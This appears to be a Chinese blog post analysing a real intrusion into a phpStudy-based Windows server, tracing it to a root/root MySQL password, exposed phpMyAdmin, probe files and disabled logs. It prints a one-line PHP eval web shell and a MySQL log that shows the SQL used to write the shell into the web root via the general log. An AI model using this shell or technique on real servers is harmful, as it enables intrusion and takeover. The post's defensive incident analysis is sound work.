phpStudy 默认配置引发的血案

phpStudy 默认配置引发的血案

引言

在一些简单的项目、测试环境或是 demo 当中,有时为了方便,会使用一些软件包、自动安装脚本进行简单的 Apache / Nginx + PHP + MySQL 的环境搭建。但必须要注意到的是,软件包提供的环境一般只保证可用性——即安装完毕以后一般能直接放入项目文件并运行起来,而在安全性方面,默认的配置并不能给予充分的保证。

不过笔者的意思并不是推崇亲自去编译安装项目环境的所有软件。下面,我将结合一次实际经验的分析,指出 phpStudy 默认配置下日志缺失、弱密码、默认网站目录下的一些隐患,至于相应的对策,是不言自明的。

背景

11月13日晚,朋友的手机收到腾讯云的云镜安全告警,提示检测到服务器有异地登录行为,以及 php 木马文件。服务器系统是 Win Server 2008,上面跑的是一个只有静态资源的项目 demo,通过 phpStudy 提供的 Apache + PHP 5.4.45 + MySQL 5.5.53 提供 HTTP 服务。

日志分析

根据前面提到的远程桌面异地登录,以及有 php 木马文件的信息,首先想到的是查看一下日志文件。服务器环境可能提供的日志信息有以下几项。

  • Windows 的系统日志(远程桌面登录)
  • Apache 的 Access Log 以及 Error Log
  • PHP 的 error_log
  • MySQL 的 general log

Windows 的系统日志

查看方式:管理工具 > 事件查看器 > Windows 日志 > 安全

发现事件数有3万+,且大多数是 登录&审核失败 的事件,看起来有人一直在尝试通过跑字典的方式尝试使用弱密码登录服务器。

定位到云镜告警的时间点附近,部分相关日志如下:

4728 安全组管理 添加了一个尾号为 1020 的安全ID
4720 用户账户管理 创建了一个用户名为 guest$,安全ID为 1020 的用户
4722 用户账户管理 启用了 guest$ 用户
4732 安全组管理 将尾号为 1020 的安全ID添加至 Administrators 组
4624 登录 用户名为 guest$
4648 登录 使用显式凭据登录 guest$

Apache 的日志

比较可惜的是 phpStudy 提供的 Apache 的 Access Log 是默认不开启的,默认只开启了 Error Log。Access Log 的缺失导致未能直接记录下来入侵者通过 HTTP 途径进行入侵的痕迹。

但是在查看 Error Log 的时候,也发现了暴力扫描的痕迹。大都是尝试访问各种可能有安全风险的文件,或是能辨别网站的程序类型的特征文件,比如 phpmyadmin tz.php phpinfo.php wp-admin/ ceshi.php 等等。

[Mon Nov 12 12:56:45.991344 2018] [:error] [pid 3252:tid 1772] [client 39.108.1.118:28123] script 'C:/Program Files (x86)/phpstudy/PHPTutorial/WWW/pma.php' not found or unable to stat
[Mon Nov 12 12:56:46.053845 2018] [:error] [pid 3252:tid 1772] [client 39.108.1.118:28123] script 'C:/Program Files (x86)/phpstudy/PHPTutorial/WWW/ruyi.php' not found or unable to stat
[Mon Nov 12 12:56:46.116345 2018] [:error] [pid 3252:tid 1772] [client 39.108.1.118:28123] script 'C:/Program Files (x86)/phpstudy/PHPTutorial/WWW/51314.php' not found or unable to stat
[Mon Nov 12 12:56:46.163220 2018] [:error] [pid 3252:tid 1772] [client 39.108.1.118:28123] script 'C:/Program Files (x86)/phpstudy/PHPTutorial/WWW/5201314.php' not found or unable to stat
[Mon Nov 12 12:56:46.225721 2018] [:error] [pid 3252:tid 1772] [client 39.108.1.118:28123] script 'C:/Program Files (x86)/phpstudy/PHPTutorial/WWW/fusheng.php' not found or unable to stat
[Mon Nov 12 12:56:46.272596 2018] [:error] [pid 3252:tid 1772] [client 39.108.1.118:28123] script 'C:/Program Files (x86)/phpstudy/PHPTutorial/WWW/general.php' not found or unable to stat
[Mon Nov 12 12:56:46.335097 2018] [:error] [pid 3252:tid 1772] [client 39.108.1.118:28123] script 'C:/Program Files (x86)/phpstudy/PHPTutorial/WWW/repeat.php' not found or unable to stat
[Mon Nov 12 12:56:46.381972 2018] [:error] [pid 3252:tid 1772] [client 39.108.1.118:28123] script 'C:/Program Files (x86)/phpstudy/PHPTutorial/WWW/ldw.php' not found or unable to stat
[Mon Nov 12 12:56:46.444472 2018] [:error] [pid 3252:tid 1772] [client 39.108.1.118:28123] script 'C:/Program Files (x86)/phpstudy/PHPTutorial/WWW/api.php' not found or unable to stat

除此之外,还留意到的一点是,大部分的失败访问的目标目录都是 Apache 的默认 www 目录(C:/Program Files (x86)/phpstudy/PHPTutorial/WWW/),表明入侵者发现并入侵服务器的途径有可能是直接访问本服务器的 80 端口对应的默认网站目录,并利用了其中的 php 文件。云镜告警信息提供的木马文件路径 C:/Program Files (x86)/phpstudy/PHPTutorial/WWW/dexgp.php 也间接地证实了这一点。

MySQL 的 general log

MySQL 文档对 general log 的描述如下。

Established client connections and statements received from clients.

general log 记录的是每次 MySQL 连接以及执行的 SQL 语句。phpStudy 默认配置下 general log 是不开启的。

入侵途径

缩小范围

经过查阅日志文件并进行初步分析,在暂不考虑低版本 Apache、PHP 等可能被利用的安全漏洞的前提下,成为入侵者帮凶的嫌疑范围逐步缩小到了 C:/Program Files (x86)/phpstudy/PHPTutorial/WWW/ 目录下。查看该目录下的文件列表如下。

  • phpMyAdmin/ - 顾名思义,一个 phpMyAdmin,可以提供 MySQL 的管理功能(前提是有能够登录 MySQL 的用户名以及密码)
  • index.php - 输出一行 Hello World.
  • l.php - 一个 PHP 探针(提供了 phpinfo,网站根目录路径,系统,Web服务器版本等信息)
  • phpinfo.php - 顾名思义,输出 phpinfo 信息
  • dexgp.php - 入侵者留下的一个木马文件,内容非常有意思,下文会对此进行分析。

木马文件写出

按照常理,一个不加混淆的 php 木马只需一行:

<?php eval($_POST['x']);

但是 dexgp.php 的文件内容如下:

C:\Program Files (x86)\phpstudy\PHPTutorial\MySQL\bin\MySQLd.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time                 Id Command    Argument
181113 20:35:41      970 Query    SHOW GLOBAL VARIABLES WHERE Variable_name="general_log"
          970 Quit    
181113 20:35:44      971 Connect    root@localhost on 
          971 Query    SET NAMES 'utf8' COLLATE 'utf8_general_ci'
          971 Init DB    MySQL
          971 Query    SHOW MASTER LOGS
          971 Quit    
181113 20:35:46      972 Connect    root@localhost on 
          972 Query    SET NAMES 'utf8' COLLATE 'utf8_general_ci'
          972 Quit    
181113 20:36:01      973 Connect    root@localhost on 
          973 Query    SET NAMES 'utf8' COLLATE 'utf8_general_ci'
          973 Query    aselect '<?php @eval($_POST[123])?>'INTO OUTFILE 'C:/www/dexgp.php'
          973 Query    SHOW VARIABLES LIKE 'language'
          973 Quit    
181113 21:06:50      975 Connect    root@localhost on 
          975 Query    SELECT @@version, @@version_comment
          975 Query    SET NAMES 'utf8' COLLATE 'utf8_general_ci'
          975 Query    SELECT * FROM information_schema.CHARACTER_SETS
          975 Query    SELECT * FROM information_schema.COLLATIONS
          975 Query    SHOW PLUGINS
          975 Quit    

这样的文件内容和 MySQL 的 general log 的格式是一致的。前面提到本服务器的 MySQL 并没有打开 general log,可以推断是入侵者通过执行 SQL 语句修改了 MySQL 的 general log 设置从而使得 MySQL 将general 写入到该文件中。这样只要再执行一条内容包括 <?php eval($_POST['x']); 的 SQL 语句即种下了木马。

至于这样做的原因,可以看我的另外一篇博客。
[post cid="6" cover="https://ww1.sinaimg.cn/large/005YhI8igy1fx8yag6z9mj31hc0shn23" /]

SQL 语句执行

上述的执行 SQL 语句,并修改 general log 设置项,最后写出木马文件的流程,有三个必要条件。

  1. SQL 语句执行
  2. MySQL 中有 SUPER 权限
  3. 得知网站根目录的目镜

最后目光锁定在了 phpMyAdmin 身上。

我打开了 MySQL 的控制台,输入用户名 root ,密码 root,相信大家也猜到结果了。

弱密码

即使没有直接开放端口到外网,也不意味着弱密码就是安全的。

结语

所以谁应该背锅呢?

  • 弱密码
  • 暴露的 phpMyAdmin 等管理工具
  • 暴露的探针、phpinfo 信息
  • 未加限制的默认网站目录
  • 日志缺失

对了,也许还有粗心大意的使用者。

本文采用 署名-相同方式共享 4.0 国际许可协议 进行许可。
本文作者:KeNorizon
本文链接:https://blog.kenorizon.cn/security/phpstudy-security-risk.html

评论

暂无

添加新评论